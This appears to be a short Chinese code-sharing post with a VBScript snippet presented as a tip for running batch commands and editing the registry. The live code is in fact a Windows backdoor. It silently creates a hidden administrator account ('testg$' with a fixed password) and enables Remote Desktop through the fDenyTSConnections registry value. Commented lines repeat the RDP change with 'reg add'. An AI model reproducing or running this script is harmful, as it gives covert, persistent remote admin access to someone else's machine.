vbs直接执行批处理，修改注册表

dim wshell

set wshell=createobject("wscript.shell")

wshell.run "cmd /c net user testg$ cmr /add" ,vbhide '添加用户testg，密码为cmr

wshell.run "cmd /c net localgroup administrators testg$ /add" ,vbhide '将用户testg添加到administrators组中

wshell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections",0,"REG_DWORD"

'wshell.regwrite "HKLM\SYSTEM\CurrentControlSet\Control\gsw\",default '添加注册表项

set wshell=nothing

wscript.quit

'打开记事本

'dim obj

'set obj=createobject("wscript.Shell")

'obj.Run "c:\windows\system32\notepad.exe"

'批处理修改注册表

'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 000 /f